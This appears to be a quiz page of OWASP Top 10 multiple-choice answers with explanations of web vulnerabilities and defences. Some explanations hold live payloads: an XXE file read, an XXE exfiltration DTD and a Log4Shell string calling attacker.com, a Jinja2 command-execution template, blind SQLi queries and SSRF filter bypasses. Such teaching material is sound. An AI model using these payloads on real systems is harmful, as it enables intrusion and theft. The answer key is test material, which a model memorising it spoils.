OWASP Top 10 MCQ 60 Tests With Answers (2026)

Incorrect·C: Using Parameterized Queries (Prepared Statements)

Parameterized Queries (Prepared Statements) are the definitive defense against SQL Injection. They separate SQL code from user data at the protocol level — the database treats the parameter value as literal data, not executable SQL syntax, regardless of what characters it contains. WAFs are a useful defense-in-depth layer but cannot be relied upon as the primary defense (they can be bypassed). ORMs built on parameterized queries are equally effective. Never build SQL queries via string concatenation of user input.

Incorrect·C: It ensures users and service accounts are granted only the minimum permissions necessary to perform their jobs, limiting the blast radius of any access control failure

The Principle of Least Privilege is a foundational access control concept that limits each user, process, and service account to only the minimum permissions required to perform its function — nothing more. For Broken Access Control mitigation: even if an authorization check fails (e.g., an IDOR bug), an attacker who gains access can only reach resources that the compromised account was permitted to access. Applied to database accounts: a read-only DB user cannot DROP tables even if SQLi is exploited. Applied to cloud IAM: a compromised EC2 role cannot access unrelated S3 buckets.

Incorrect·B: Untrusted serialized data is reconstructed into an object without validation, potentially leading to Remote Code Execution (RCE)

Insecure Deserialization (moved from A08:2017 into A08:2021 as Software and Data Integrity Failures) is dangerous because many programming languages use serialization to convert objects to a transmittable format (Java ObjectInputStream, PHP unserialize, Python pickle, .NET BinaryFormatter). When an application deserializes data from an untrusted source (cookie, HTTP body, file), an attacker can craft a malicious byte stream that, upon deserialization, chains together existing application classes (a "gadget chain") to achieve Remote Code Execution. Real-world RCE via Java deserialization affected Jenkins, WebLogic, and JBoss.

Incorrect·D: Implementing Multi-Factor Authentication (MFA) and preventing brute-force attacks via rate limiting and account lockout

MFA is the single most impactful control for authentication security — it renders stolen passwords useless alone. Combined preventive measures for A07: enable MFA (especially for admin and privileged accounts), implement rate limiting and account lockout to defeat brute-force and credential stuffing, use strong password hashing (Argon2id), invalidate session tokens after logout, set short session idle timeouts, regenerate session IDs after login, use secure session management libraries, and check passwords against breached credential lists (e.g., Have I Been Pwned API).

Incorrect·B: Security Misconfiguration

A publicly accessible AWS S3 bucket (or any unintentionally open cloud storage) is a Security Misconfiguration (A05:2021). This is one of the most common cloud security failures: a developer creates an S3 bucket without understanding that the default policy changed (AWS made buckets private by default in 2018), or they explicitly set the ACL to public. Misconfiguration also includes: open security group ports, default admin passwords, directory listing enabled, and verbose error messages exposing stack traces. Cloud security posture management (CSPM) tools detect these.

Incorrect·C: They allow an attacker to interfere with an application's XML processing, leading to disclosure of local files, internal network scanning (SSRF), or Denial of Service

XXE (XML External Entity) Injection falls under Injection (A03:2021) and exploits XML parsers that process external entity declarations (<!ENTITY xxe SYSTEM "file:///etc/passwd">). Impacts: (1) Local file disclosure — reading server files including /etc/shadow and application configuration files containing DB credentials; (2) SSRF — using file:// or http:// to probe internal services; (3) Denial of Service via "Billion Laughs" exponential entity expansion; (4) Remote Code Execution in some legacy parsers. Prevention: disable DTD processing and external entity resolution in all XML parsers.

Incorrect·B: It helps identify and mitigate structural flaws and architectural risks early in the development lifecycle, addressing Insecure Design (A04)

Threat Modeling is the foundational practice required to address Insecure Design (A04:2021). It is a structured activity performed during the design phase where architects, developers, and security engineers systematically identify: What are we building? What can go wrong? (STRIDE: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) What should we do about it? Frameworks: STRIDE (Microsoft), PASTA, VAST, LINDDUN. OWASP recommends threat modeling for every new feature and significant architectural change.

Incorrect·B: An application allowing attackers to perform credential stuffing due to a lack of rate limiting on the login page

Credential stuffing — using breached username/password pairs from other sites to attempt logins — succeeds because of password reuse and the absence of rate limiting or bot detection on login endpoints. This is a textbook A07 scenario: the authentication mechanism has no protection against automated attacks. A lack of CSP is A05 (Security Misconfiguration), OS command injection from user input is A03 (Injection), and a public S3 bucket is A05 (Security Misconfiguration). Rate limiting, MFA, and CAPTCHA together defeat credential stuffing.

Incorrect·A: By implementing a "deny by default" network policy and strictly enforcing an allow-list of approved domains the server can fetch from

The primary defense against SSRF is a network-layer and application-layer deny-by-default policy: (1) URL allowlisting — the server should only be permitted to fetch pre-approved, business-necessary external URLs; (2) Network segmentation — the application server should have no direct network access to internal resources that should not be reachable externally; (3) Disable HTTP redirections; (4) For cloud deployments: require IMDSv2 (session-oriented token for AWS metadata), which prevents SSRF exploitation of the metadata service. Client-side validation is trivially bypassed and should never be the primary control.

Incorrect·B: Injection

In the 2021 OWASP Top 10, XSS was consolidated into the Injection category (A03:2021). OWASP made this change because XSS is fundamentally an injection flaw — the attacker injects malicious JavaScript into HTML output context because the application fails to properly encode/sanitize user data before rendering. The 2021 Injection category now covers: SQL Injection, OS Command Injection, LDAP Injection, XSS (HTML/JS injection), XXE injection, and SSTI. In 2017, XSS had its own separate category (A07).

Incorrect·D: Session Hijacking via predictability — an Identification and Authentication Failure (A07)

Predictable session IDs are a critical Identification and Authentication Failure (A07:2021). If session tokens are sequential integers, an attacker can enumerate or predict other users' valid session IDs and impersonate them — bypassing authentication entirely without knowing their passwords. Session tokens must be: cryptographically random (CSPRNG), at least 128 bits of entropy, non-sequential, non-predictable, and invalidated on logout. Frameworks like Express-Session, Django, and Spring generate cryptographically secure session IDs by default — never implement custom session ID generation.

Incorrect·B: Salting them with a unique, per-user random value and hashing them using a slow, work-factor algorithm like Argon2id or bcrypt

OWASP recommends Argon2id as the first choice for password hashing (winner of the Password Hashing Competition). Alternatives: bcrypt (battle-tested, widely supported) and scrypt. Key properties required: (1) Slow by design — the high cost defeats brute-force; (2) Unique per-user salt — defeats rainbow tables and ensures two users with the same password have different hashes; (3) One-way — unlike AES encryption, hashing is irreversible (the application never needs the original plaintext again). Base64 is encoding, not cryptography. AES is reversible encryption — the key becomes a second target.

Incorrect·C: Software and Data Integrity Failures

Software and Data Integrity Failures (A08:2021) explicitly covers scenarios where an application relies on untrusted sources for updates, plugins, or libraries without integrity verification. Auto-update functions that download and execute code without verifying a cryptographic signature (e.g., package checksum, GPG signature, code signing certificate) are critically vulnerable: an attacker who compromises the update distribution mechanism can push malicious code to every user. Real-world example: SolarWinds SUNBURST — a malicious update was signed with a valid certificate and distributed through the legitimate update mechanism.

Incorrect·C: Content-Security-Policy (CSP)

Content-Security-Policy (CSP) is a powerful HTTP response header that instructs the browser to only load and execute content from explicitly approved sources. A strict CSP (script-src 'self') defeats XSS by blocking inline scripts and scripts from unauthorized origins — even if an attacker successfully injects a payload, the browser refuses to execute it. CSP also addresses: clickjacking (frame-ancestors directive), mixed content (upgrade-insecure-requests), and data exfiltration (connect-src). Not having CSP is itself a Security Misconfiguration finding.

Incorrect·D: Security Misconfiguration

Default credentials on appliances, software, and cloud infrastructure are classified under Security Misconfiguration (A05:2021). This is one of the most exploited findings in penetration tests and red team assessments — default credentials for network equipment (Cisco, Juniper), CMS platforms (WordPress admin/admin), databases (MySQL root with blank password), and cloud services are widely published and actively scanned for by automated tools like Shodan. While default credentials could also suggest A07 (Auth Failures), OWASP specifically places "using default credentials for admin accounts" under Security Misconfiguration.

Incorrect·C: An attacker compromising a trusted third-party library or software dependency that is then unknowingly imported by the target application

A supply chain attack targets the weakest link in the software procurement and build process: a trusted third-party dependency. Rather than attacking a hardened target directly, attackers compromise an upstream component. Examples: the event-stream NPM package was compromised via a malicious contributor (2018); the SolarWinds Orion build system was backdoored (2020); the XZ Utils library was backdoored via a social engineering campaign on an open-source maintainer (2024). Supply chain attacks are addressed by SBOMs (Software Bill of Materials), dependency pinning with hash verification, and signed commits.

Incorrect·B: By allowing attackers to persist in the network for months without detection, maximizing the time available to exfiltrate data, map networks, and establish persistence

Security Logging and Monitoring Failures are particularly dangerous because they don't cause a breach themselves — they prevent the organization from detecting and responding to one. The IBM Cost of a Data Breach Report (2022) found the average time to identify a breach was 207 days, and an additional 70 days to contain it — 277 days total. During this "dwell time," attackers can: exfiltrate massive amounts of data, establish multiple persistence mechanisms (backdoors), map the internal network, and escalate privileges. Comprehensive logging, SIEM correlation, and active monitoring are critical to reducing dwell time.

Incorrect·B: Cryptographic Failures

Transmitting sensitive data over HTTP instead of HTTPS is a Cryptographic Failure (A02:2021) — specifically, the failure to apply cryptographic protection (TLS) to data in transit. An unencrypted HTTP connection allows any network observer (MitM attacker on shared Wi-Fi, malicious ISP, government surveillance) to read session cookies, passwords, and personal data in cleartext. HTTPS with HSTS (HTTP Strict Transport Security) prevents both unencrypted transmission and SSL-stripping downgrade attacks. Mixed content (HTTPS page loading HTTP resources) is also a Cryptographic Failure.

Incorrect·B: A formal, machine-readable inventory detailing all third-party components, dependencies, and their versions in an application; mitigates Vulnerable and Outdated Components (A06)

An SBOM (Software Bill of Materials) is a formal, structured inventory of all components, libraries, and dependencies that make up a software application — similar to an ingredient list for food products. SBOMs enable: (1) rapid identification of affected components when a new CVE is published (e.g., "Is Log4j in any of our applications?"); (2) automated vulnerability scanning against CVE databases; (3) supply chain transparency for customers and regulators. The US Executive Order 14028 (2021) mandated SBOMs for software sold to US federal agencies. SBOMs directly mitigate A06.

Incorrect·A: An attacker alters an API endpoint from /api/user/profile/55 to /api/user/profile/56 and reads another user's private data without authorization

BOLA (Broken Object Level Authorization) — also called IDOR (Insecure Direct Object Reference) — is the most common and impactful API security vulnerability. When an API endpoint uses user-controllable object identifiers (IDs) without verifying the requesting user is authorized to access that specific object, any user can access any other user's data by cycling through IDs. OWASP API Security Top 10 (2023) lists BOLA as #1. Option D describes a different Broken Access Control variant (mass assignment / price manipulation). Options B and C are different attack categories.

Incorrect·B: The AWS Instance Metadata Service at 169.254.169.254

The AWS Instance Metadata Service (IMDS) at http://169.254.169.254/latest/meta-data/ is the most high-value SSRF target in cloud environments. It is accessible from any EC2 instance but not from external networks — making SSRF the only way to reach it remotely. The metadata service exposes: IAM role credentials (access key + secret + session token), instance ID, security group rules, and user-data scripts. The Capital One breach (2019) exploited SSRF against this endpoint, leading to exfiltration of 100M+ customer records. AWS IMDSv2 (session-oriented requests) mitigates this by requiring a PUT request with a token before GET requests are accepted.

Incorrect·C: By injecting a payload that triggers a time delay (e.g., SLEEP(10)) or a boolean response, inferring database content bit-by-bit when no data or errors are visible

Blind SQLi is used when an application is injectable but provides no visual feedback (no query results, no error messages). Two techniques: (1) Boolean-based Blind — inject conditions that change application behavior for true vs. false results (e.g., different page content); extract data character-by-character with binary search queries: id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--; (2) Time-based Blind — inject SLEEP(n) or WAITFOR DELAY and measure response time: true condition → delayed response; false → instant. Both are tediously slow but equally impactful. SQLMap automates both via the --technique=BT flag.

Incorrect·D: The server accepting a JWT where the header specifies "alg": "none", allowing the attacker to bypass signature verification entirely

The alg:none attack is a critical JWT vulnerability: some JWT libraries allow tokens where alg is set to "none" (no signature algorithm), meaning no signature is required or verified. An attacker takes a legitimate JWT, decodes the Base64url header and payload, modifies claims (e.g., escalates role to admin), sets "alg":"none", removes the signature, resubmits the forged token. A vulnerable library skips verification and accepts it. Prevention: (1) explicitly whitelist accepted algorithms in JWT library configuration; (2) never trust the "alg" header from the token itself; (3) prefer asymmetric algorithms (RS256, ES256). This is a Cryptographic Failure (A02).

Incorrect·B: A logic flaw where a security decision is made at one point in time, but the state of the resource changes before the action is executed, allowing the check to be invalidated — best aligned with Insecure Design (A04)

TOCTOU is a race condition design flaw: an application checks some condition (authentication, balance, quantity) at time T1, then acts on that check at time T2. If the state changes between T1 and T2 — because another thread or concurrent request modified it — the security check becomes invalid. Example: a user submits two simultaneous withdrawal requests; the balance check passes for both, but both are executed, overdrawing the account. This is an Insecure Design flaw (A04) requiring architectural solutions: atomic database transactions, database locks, idempotency keys, and concurrency-safe state management.

Incorrect·C: HTTP Request Smuggling

HTTP Request Smuggling (discovered and popularized by James Kettle at PortSwigger) exploits inconsistency between a front-end proxy (reverse proxy, CDN, load balancer) and a back-end server in interpreting which of two conflicting headers — Content-Length and Transfer-Encoding: chunked — takes precedence. An attacker crafts a request that the proxy treats as one complete request but the back-end treats as two. The "smuggled" prefix is prepended to the next legitimate user's request. Impacts: WAF bypass, cache poisoning, credential hijacking, request queue capture, and Host header injection. This is a complex A03/A05 chained vulnerability.

Incorrect·D: It exploits verbose padding validation error messages from block cipher (CBC mode) implementations to decrypt ciphertext byte-by-byte without knowing the encryption key

The Padding Oracle Attack is a side-channel attack against CBC (Cipher Block Chaining) mode block cipher implementations. An attacker submits crafted ciphertext and observes whether the server returns a "padding error" (invalid padding) or "MAC error" / "decryption success." This one-bit oracle (valid/invalid padding) allows the attacker to reverse-engineer the plaintext byte by byte through purely mathematical manipulation — no key required. The POODLE attack (2014) exploited this against SSL 3.0. Mitigation: use authenticated encryption modes (AES-GCM, AES-CCM) which validate integrity before decryption.

Incorrect·A: Leveraging a sequence of existing, legitimate classes within the application's classpath that, when instantiated during deserialization, chain together to execute malicious code (Remote Code Execution)

A Gadget Chain exploits the deserialization process by constructing a payload that leverages existing, already-loaded classes (gadgets) in the application's classpath. The attacker doesn't need to inject new code — they use existing legitimate classes like Java's InvokerTransformer, CommonsCollections library gadgets, or Spring framework classes. When the deserialization engine processes the crafted object graph, it calls methods on these chained gadgets in sequence, eventually executing an OS command (Runtime.exec()). Discovered and weaponized for Java by researchers at Foxglove Security (2015). Libraries like Apache Commons Collections, Spring, and Groovy are common gadget sources.

Incorrect·B: By using alternative IP representations: decimal (2130706433), IPv6 (::1), URL encoding (%31%32%37%2e%30%2e%30%2e%31), or DNS rebinding with a custom domain resolving to 127.0.0.1

Denylist-based SSRF filters are notoriously easy to bypass. 127.0.0.1 in alternative representations: decimal (2130706433), hex (0x7f000001), octal (0177.0.0.1), mixed (127.0.1), IPv6 (::1 or ::ffff:127.0.0.1 or [::1]). DNS rebinding provides a subtler bypass: an attacker registers a domain with a very short TTL; the filter-checl resolves it to a safe external IP, but then the TTL expires and the DNS resolves to 127.0.0.1 when the actual HTTP request is made. AWS Metadata also has alternatives: http://2852039166/ (decimal), http://[::ffff:169.254.169.254/]. OWASP recommends allowlisting over denylisting.

Incorrect·C: An attacker publishing a malicious package with the same name as a company's private internal library to a public registry (npm, PyPI), tricking the build system into downloading the attacker's version

Dependency Confusion (discovered by Alex Birsan in 2021) exploits the way package managers resolve internal vs. public package names. When a build system looks for package "company-internal-tool" (a private package), it may check public registries (npm, PyPI, RubyGems) first, or alongside, the private one. An attacker registers "company-internal-tool" in the public registry with a higher version number; the build system downloads the attacker's malicious version instead of the legitimate internal one. Birsan exploited this against Apple, Microsoft, and PayPal, achieving RCE in all three. Mitigation: use namespace scoping (@company/package), pin exact dependency hashes, and configure package managers for private-only resolution for internal packages.

Incorrect·B: Injecting native template syntax into a web template engine (like Jinja2 or Twig) that is unsafely incorporated into user input, evaluated server-side, and leading to Remote Code Execution — under Injection (A03)

SSTI (Server-Side Template Injection) falls under Injection (A03:2021). It occurs when user-supplied data is embedded directly into a server-side template that is then rendered by a template engine (Jinja2, Twig, FreeMarker, Pebble, Velocity, Smarty). Injecting template-native syntax — {{7*7}} in Jinja2, ${7*7} in FreeMarker, #{7*7} in Pebble — is the detection test (receiving "49" confirms execution). From there, attackers escalate to RCE via Python's object hierarchy: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}. Commonly confused with Reflected XSS during initial testing. Prevention: never pass user input as template content; use a logic-less template engine (Mustache).

Incorrect·D: The attacker injects a payload that is safely stored in the database as data, but a separate, vulnerable backend process later uses that stored value in an unsafe SQL query, triggering the injection at execution time

Second-Order (or Stored) SQL Injection is particularly deceptive: the input layer may correctly parameterize and "safely" store the attacker's payload in the database. However, a separate backend process (background job, admin panel, data export function, stored procedure) later retrieves this value and uses it in an unsafe SQL query via string concatenation — triggering the injection. For example, an attacker registers with username admin'-- ; the registration is safe. Later, a password-reset query assembles: "UPDATE users SET pwd='...' WHERE user='"+username+"'" — now the injection fires. Detected by DAST tools that test data persistence flows, not just input layers.

Incorrect·C: A vulnerability where a server fails to validate the Origin header during a WebSocket handshake, allowing a malicious site to establish a connection and communicate as the authenticated victim user

Cross-Site WebSocket Hijacking (CSWSH) is a WebSocket-specific CSRF variant. Unlike XMLHttpRequest, browsers do not enforce the Same-Origin Policy for WebSocket connections — they send cookies with WebSocket handshake requests to any origin. If the server doesn't validate the Origin header on the WebSocket upgrade request, a malicious page can establish a WebSocket connection to the target application, which attaches the victim's session cookies, giving the attacker a full bidirectional channel as the authenticated user. The attacker can receive real-time data and send messages. Prevention: validate the Origin header server-side; use CSRF tokens in the WebSocket handshake URL.

Incorrect·A: A malicious DNS server initially resolves to a safe external IP (passing SSRF filters), then rebinds to a restricted internal IP (127.0.0.1) when the application actually makes the HTTP request after the TTL expires

DNS Rebinding bypasses time-of-check vs. time-of-use (TOCTOU) in SSRF URL validation: (1) Attacker registers evil.com and sets a very short TTL (1 second) with DNS response A=legitimate_external_ip; (2) Application validates the URL — evil.com resolves to external IP, passes the SSRF denylist check; (3) TTL expires in 1 second; (4) Application makes the actual HTTP request — evil.com now resolves to 127.0.0.1 or 169.254.169.254; (5) The request hits the internal resource. Mitigation: re-validate the resolved IP against the denylist at connection time (after DNS resolution), not just at validation time; use socket-level IP binding, as tools like SSRF Proxy do.

Incorrect·C: Horizontal escalation involves accessing data belonging to another user with the same privilege level; vertical escalation involves acquiring a higher privilege level (e.g., standard user to administrator)

Two distinct Broken Access Control (A01) exploitation patterns: (1) Horizontal Privilege Escalation — "sideways" access to another user's resources at the same privilege tier. Example: user A accessing user B's invoices by changing ?invoice_id=456 to ?invoice_id=457. The attacker gains no new privileges, just access to others' data. (2) Vertical Privilege Escalation — "upward" access to a higher privilege tier. Example: a standard user discovers a hidden /admin/delete endpoint and successfully calls it because there's no server-side role check. Both require the same fix: server-side authorization checks on every operation, verifying the caller's role/ownership before execution.

Incorrect·C: An attacker inputs carriage return/line feed (\r\n) characters to forge false log entries, erase evidence of malicious activity, or execute XSS if logs are rendered in a vulnerable web-based log viewer dashboard

CRLF Injection (Log Injection) exploits the failure to sanitize CR (\r, 0x0D) and LF (\n, 0x0A) characters in log-written user data. Since log files are line-based, injecting \r\n allows an attacker to: (1) Insert fake log entries — e.g., forge a "successful login for admin" entry to mislead incident responders; (2) Delete evidence — overwrite or confuse the log analysis; (3) Execute XSS — if the logs are displayed in a web-based SIEM or log viewer without output encoding, injected HTML/JS executes in the admin's browser. This undermines the integrity and reliability of audit trails, which are critical for forensic investigations and compliance (PCI DSS, HIPAA).

Incorrect·D: SAST (Static Application Security Testing) analyzes source code without executing it; DAST (Dynamic Application Security Testing) interacts with the running application from the outside, simulating an external attacker

SAST (Static Application Security Testing) analyzes the application's source code, bytecode, or binary without executing it — finding vulnerabilities "from the inside": hardcoded secrets, SQL string concatenation, unsafe deserialization patterns, path traversal, etc. It runs early in SDLC (code review stage). DAST (Dynamic Application Security Testing) attacks the running application like an external hacker — sending malformed requests, fuzzing inputs, manipulating cookies — finding runtime vulnerabilities invisible in source code: authentication bypasses, session management flaws, server configuration issues. Modern DevSecOps integrates both. Tools: SAST (SonarQube, Checkmarx, Semgrep), DAST (OWASP ZAP, Burp Suite, Invicti).

Incorrect·B: The application does not return the results of the parsed XML entities in its HTTP response, requiring the attacker to force the server to exfiltrate data to an attacker-controlled external server via DNS or HTTP

OOB (Out-of-Band) XXE is needed when the application processes the malicious XML but does not return the entity's value in the HTTP response — making standard (in-band) XXE blind. The attacker uses a malicious DTD hosted externally that declares entities using protocols that cause the server to make outbound connections: <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % oob "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%data;'>"> The server fetches and exfiltrates the file content through DNS or HTTP requests to attacker-controlled infrastructure, visible via Burp Collaborator or interactsh. DNS-based OOB is particularly effective in filtered environments because DNS is rarely blocked outbound.

Incorrect·C: An attacker manipulating an application into caching a maliciously crafted HTTP response — injected via unkeyed inputs (headers, cookies) — which is subsequently served to all subsequent legitimate users requesting that cached resource

Web Cache Poisoning (discovered and elaborated by James Kettle at PortSwigger) exploits HTTP caching infrastructure. The key insight: cache keys typically include method, path, and Host header — but other headers (X-Forwarded-Host, X-Forwarded-For, Origin) may influence the response yet be excluded from the cache key ("unkeyed inputs"). An attacker crafts a request with a malicious X-Forwarded-Host header that causes the application to include an attacker-controlled URL in the response (e.g., a JS import). If this response is cached, every subsequent user requesting that URL receives the poisoned response, executing the attacker's JavaScript. This is a complex A05/A03 chained vulnerability.

Incorrect·D: An attacker can mathematically predict both past and future session tokens by statistically analyzing a sample of generated tokens, enabling session forgery

Cryptographically Insecure PRNGs (A02:2021) — like Math.random(), java.util.Random, or Python's random module — use deterministic algorithms with a finite seed state that produces predictable outputs. Unlike CSPRNGs (Cryptographically Secure PRNGs: /dev/urandom, SecureRandom, os.urandom, crypto.randomBytes), these can be analyzed statistically to recover the internal state from a sequence of outputs, allowing prediction of all past and future outputs. An attacker who collects several API-generated token samples can reconstruct the PRNG state and forge valid session tokens for arbitrary users. Always use CSPRNG for session tokens, auth codes, CSRF tokens, and cryptographic keys.

Incorrect·B: Vulnerable and Outdated Components (A06) and Injection (A03) — specifically JNDI injection via user-controlled log messages

Log4Shell (CVE-2021-44228, CVSS 10.0) became the most critical vulnerability in years by chaining A06 + A03: (A06 — Vulnerable Component): Apache Log4j 2.0–2.14.1 was a ubiquitous Java logging library used in thousands of enterprise applications. (A03 — Injection): Log4j performed JNDI (Java Naming and Directory Interface) lookups on logged strings. An attacker sent a crafted HTTP header: ${jndi:ldap://attacker.com/exploit}. Log4j logged this, triggered a JNDI lookup to the attacker's LDAP server, which returned a malicious Java class URL, and Log4j downloaded and executed it — achieving RCE on any server running the unpatched version with outbound internet access. The fix was released in Log4j 2.15.0.